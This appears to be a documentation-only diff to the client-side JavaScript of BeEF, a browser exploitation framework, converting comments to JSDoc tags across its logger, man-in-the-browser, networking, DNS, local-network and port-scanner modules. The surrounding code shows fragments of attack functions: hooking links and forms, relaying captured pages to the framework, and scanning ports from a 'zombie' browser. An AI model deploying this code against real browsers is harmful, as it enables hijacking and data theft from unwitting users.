@@ -1,8 +1,9 @@
-/*!
+/**
  * Platform.js
  * Copyright 2014-2018 Benjamin Tan
  * Copyright 2011-2013 John-David Dalton
  * Available under MIT license
+ * @namespace platform
  */
 ;(function() {
   'use strict';
@@ -1032,7 +1033,7 @@
     /**
      * The platform object.
      *
-     * @name platform
+     * @memberof platform
      * @type Object
      */
     var platform = {};

core/main/client/logger.js

@@ -1,13 +1,12 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-/*!
- * @literal object: beef.logger
- *
+/**
  * Provides logging capabilities.
+ * @namespace beef.logger
  */
 beef.logger = {
 	

core/main/client/mitb.js

@@ -1,15 +1,18 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-
+/**
+ * @namespace beef.mitb
+ */
 beef.mitb = {
 
     cid:null,
     curl:null,
 
+    /** Initializes */ 
     init:function (cid, curl) {
         beef.mitb.cid = cid;
         beef.mitb.curl = curl;
@@ -61,7 +64,7 @@ beef.mitb = {
         }
     },
 
-    // Initializes the hook on anchors and forms.
+    /** Initializes the hook on anchors and forms. */ 
     hook:function () {
         beef.onpopstate.push(function (event) {
             beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
@@ -92,7 +95,7 @@ beef.mitb = {
         }
     },
 
-    // Hooks anchors and prevents them from linking away
+    /** Hooks anchors and prevents them from linking away */
     poisonAnchor:function (e) {
         try {
             e.preventDefault;
@@ -111,7 +114,7 @@ beef.mitb = {
         return false;
     },
 
-    // Hooks forms and prevents them from linking away
+    /** Hooks forms and prevents them from linking away */
     poisonForm:function (form) {
         form.onsubmit = function (e) {
 
@@ -154,7 +157,7 @@ beef.mitb = {
         }
     },
 
-    // Fetches a hooked form with AJAX
+    /** Fetches a hooked form with AJAX */ 
     fetchForm:function (url, query, target) {
         try {
             var y = new XMLHttpRequest();
@@ -174,7 +177,7 @@ beef.mitb = {
         }
     },
 
-    // Fetches a hooked link with AJAX
+    /** Fetches a hooked link with AJAX */
     fetch:function (url, target) {
         try {
             var y = new XMLHttpRequest();
@@ -195,7 +198,7 @@ beef.mitb = {
         }
     },
 
-    // Fetches a window.location=http://domainname.com and setting up history
+    /** Fetches a window.location=http://domainname.com and setting up history */ 
     fetchOnclick:function (url) {
         try {
             var target = document.getElementsByTagName("html")[0];
@@ -225,7 +228,7 @@ beef.mitb = {
         }
     },
 
-    // Relays an entry to the framework
+    /** Relays an entry to the framework */
     sniff:function (result) {
         try {
             beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
@@ -234,7 +237,7 @@ beef.mitb = {
         return true;
     },
 
-    // Signals the Framework that the user has lost the hook
+    /** Signals the Framework that the user has lost the hook */
     endSession:function () {
         beef.mitb.sniff("Window closed.");
     }

core/main/client/net.js

@@ -1,12 +1,10 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-/*!
- * @literal object: beef.net
- *
+/**
  * Provides basic networking functions,
  * like beef.net.request and beef.net.forgeRequest,
  * used by BeEF command modules and the Requester extension,
@@ -15,6 +13,8 @@
  *
  * Also, it contains the core methods used by the XHR-polling
  * mechanism (flush, queue)
+ * @namespace beef.net
+ *
  */
 beef.net = {
 
@@ -82,11 +82,11 @@ beef.net = {
 
     /**
      * Queues the specified command results.
-     * @param: {String} handler: the server-side handler that will be called
-     * @param: {Integer} cid: command id
-     * @param: {String} results: the data to send
-     * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
-     * @param: {Function} callback: the function to call after execution
+     * @param {String} handler the server-side handler that will be called
+     * @param {Integer} cid command id
+     * @param {String} results the data to send
+     * @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
+     * @param {Function} callback the function to call after execution
      */
     queue: function (handler, cid, results, status, callback) {
         if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
@@ -105,12 +105,12 @@ beef.net = {
      * NOTE: Always send Browser Fingerprinting results
      * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
      * even if WebSockets are enabled.
-     * @param: {String} handler: the server-side handler that will be called
-     * @param: {Integer} cid: command id
-     * @param: {String} results: the data to send
-     * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
-     * @param: {Function} callback: the function to call after execution
-     * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
+     * @param {String} handler the server-side handler that will be called
+     * @param {Integer} cid command id
+     * @param {String} results the data to send
+     * @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
+     * @param {Function} callback the function to call after execution
+     * @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null)
      */
     send: function (handler, cid, results, exec_status, callback) {
         // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
@@ -173,8 +173,8 @@ beef.net = {
 
     /**
      * Split the input data into chunk lengths determined by the amount parameter.
-     * @param: {String} str: the input data
-     * @param: {Integer} amount: chunk length
+     * @param {String} str the input data
+     * @param {Integer} amount chunk length
      */
     chunk: function (str, amount) {
         if (typeof amount == 'undefined') n = 2;
@@ -184,7 +184,7 @@ beef.net = {
     /**
      * Push the input stream back to the BeEF server-side components.
      * It uses beef.net.request to send back the data.
-     * @param: {Object} stream: the stream object to be sent back.
+     * @param {Object} stream the stream object to be sent back.
      */
     push: function (stream, callback) {
         //need to implement wait feature here eventually
@@ -203,18 +203,18 @@ beef.net = {
 
     /**
      * Performs http requests
-     * @param: {String} scheme: HTTP or HTTPS
-     * @param: {String} method: GET or POST
-     * @param: {String} domain: bindshell.net, 192.168.3.4, etc
-     * @param: {Int} port: 80, 5900, etc
-     * @param: {String} path: /path/to/resource
-     * @param: {String} anchor: this is the value that comes after the # in the URL
-     * @param: {String} data: This will be used as the query string for a GET or post data for a POST
-     * @param: {Int} timeout: timeout the request after N seconds
-     * @param: {String} dataType: specify the data return type expected (ie text/html/script)
-     * @param: {Function} callback: call the callback function at the completion of the method
+     * @param {String} scheme HTTP or HTTPS
+     * @param {String} method GET or POST
+     * @param {String} domain bindshell.net, 192.168.3.4, etc
+     * @param {Int} port 80, 5900, etc
+     * @param {String} path /path/to/resource
+     * @param {String} anchor this is the value that comes after the # in the URL
+     * @param {String} data This will be used as the query string for a GET or post data for a POST
+     * @param {Int} timeout timeout the request after N seconds
+     * @param {String} dataType specify the data return type expected (ie text/html/script)
+     * @param {Function} callback call the callback function at the completion of the method
      *
-     * @return: {Object} response: this object contains the response details
+     * @return {Object} this object contains the response details
      */
     request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
         //check if same domain or cross domain
@@ -307,7 +307,7 @@ beef.net = {
         return response;
     },
 
-    /*
+    /**
      * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
      *  - requestid: needed on the callback
      *  - allowCrossDomain: set cross-domain requests as allowed or blocked
@@ -490,8 +490,9 @@ beef.net = {
         return response;
     },
 
-    //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
-    //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
+    /** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
+     *  http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
+     */
     clean: function (r) {
         if (this.array_has_string_key(r)) {
             var obj = {};
@@ -502,7 +503,7 @@ beef.net = {
         return r;
     },
 
-    //Detects if an array has a string key
+    /** Detects if an array has a string key */
     array_has_string_key: function (arr) {
         if ($j.isArray(arr)) {
             try {

core/main/client/net/connection.js

@@ -1,19 +1,22 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-// beef.net.connection - wraps Mozilla's Network Information API
-// https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
-// https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
+/**
+ * beef.net.connection - wraps Mozilla's Network Information API
+ * https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
+ * https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
+ * @namespace beef.net.connection
+ */
 beef.net.connection = {
 
-  /* Returns the connection type
-   * @example: beef.net.connection.type()
-   * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
-   * @return: {String} connection type or 'unknown'.
-   **/
+  /**
+   * Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
+   * @example beef.net.connection.type()
+   * @return {String} connection type or 'unknown'.
+   */
   type: function () {
     try {
       var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
@@ -25,11 +28,11 @@ beef.net.connection = {
     }
   },
 
-  /* Returns the maximum downlink speed of the connection
-   * @example: beef.net.connection.downlinkMax()
-   * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
-   * @return: {String} downlink max or 'unknown'.
-   **/
+  /** 
+   * Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
+   * @example beef.net.connection.downlinkMax()
+   * @return {String} downlink max or 'unknown'.
+   */
   downlinkMax: function () {
     try {
       var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;

core/main/client/net/cors.js

@@ -1,3 +1,7 @@
+/**
+ * @namespace beef.net.cors
+ */
+
 beef.net.cors = {
 
   handler: "cors",

core/main/client/net/dns.js

@@ -1,23 +1,29 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-/*!
- * @literal object: beef.net.dns
+/**
  * 
  * request object structure:
  * + msgId: {Integer} Unique message ID for the request.
  * + domain: {String} Remote domain to retrieve the data.
  * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
  * + callback: {Function} Callback function to receive the number of requests sent.
+ * @namespace beef.net.dns
  */
 
 beef.net.dns = {
 
 	handler: "dns",
-
+    /**
+     * 
+     * @param msgId 
+     * @param data 
+     * @param domain 
+     * @param callback 
+     */
 	send: function(msgId, data, domain, callback) {
 
         var encode_data = function(str) {

core/main/client/net/local.js

@@ -1,13 +1,12 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-/*!
- * @literal object: beef.net.local
- * 
+/**
  * Provides networking functions for the local/internal network of the zombie.
+ * @namespace beef.net.local
  */
 beef.net.local = {
 	
@@ -22,7 +21,6 @@ beef.net.local = {
 	 * is invalid:
 	 * sock: new java.net.Socket();
 	 */
-
 	initializeSocket: function() {
 		if(this.checkJava){	
 			if(!beef.browser.hasJava()) {
@@ -50,8 +48,8 @@ beef.net.local = {
 	
 	/**
 	 * Returns the internal IP address of the zombie.
-	 * @return: {String} the internal ip of the zombie.
-	 * @error: return -1 if the internal ip cannot be retrieved.
+	 * @return {String} the internal ip of the zombie.
+	 * @error return -1 if the internal ip cannot be retrieved.
 	 */
 	getLocalAddress: function() {
 		if(!this.hasJava) return false;
@@ -68,8 +66,8 @@ beef.net.local = {
 	
 	/**
 	 * Returns the internal hostname of the zombie.
-	 * @return: {String} the internal hostname of the zombie.
-	 * @error: return -1 if the hostname cannot be retrieved.
+	 * @return {String} the internal hostname of the zombie.
+	 * @error return -1 if the hostname cannot be retrieved.
 	 */
 	getLocalHostname: function() {
 		if(!this.hasJava) return false;

core/main/client/net/portscanner.js

@@ -1,21 +1,27 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-/*!
- * @literal object: beef.net.portscanner
- * 
+/**
  * Provides port scanning functions for the zombie. A mod of pdp's scanner
  * 
  * Version: '0.1',
  * author: 'Petko Petkov',
  * homepage: 'http://www.gnucitizen.org'
+ * @namespace beef.net.portscanner
  */
 
 beef.net.portscanner = {
 
+		/**
+		 * 
+		 * @param callback 
+		 * @param target 
+		 * @param port 
+		 * @param timeout 
+		 */
 		scanPort: function(callback, target, port, timeout) 
 		{
 			var timeout = (timeout == null)?100:timeout;
@@ -38,7 +44,13 @@ beef.net.portscanner = {
 			}, timeout);
 
 		},
-
+		/**
+		 * 
+		 * @param callback 
+		 * @param target 
+		 * @param ports_str 
+		 * @param timeout 
+		 */
 		scanTarget: function(callback, target, ports_str, timeout)
 		{
 			var ports = ports_str.split(",");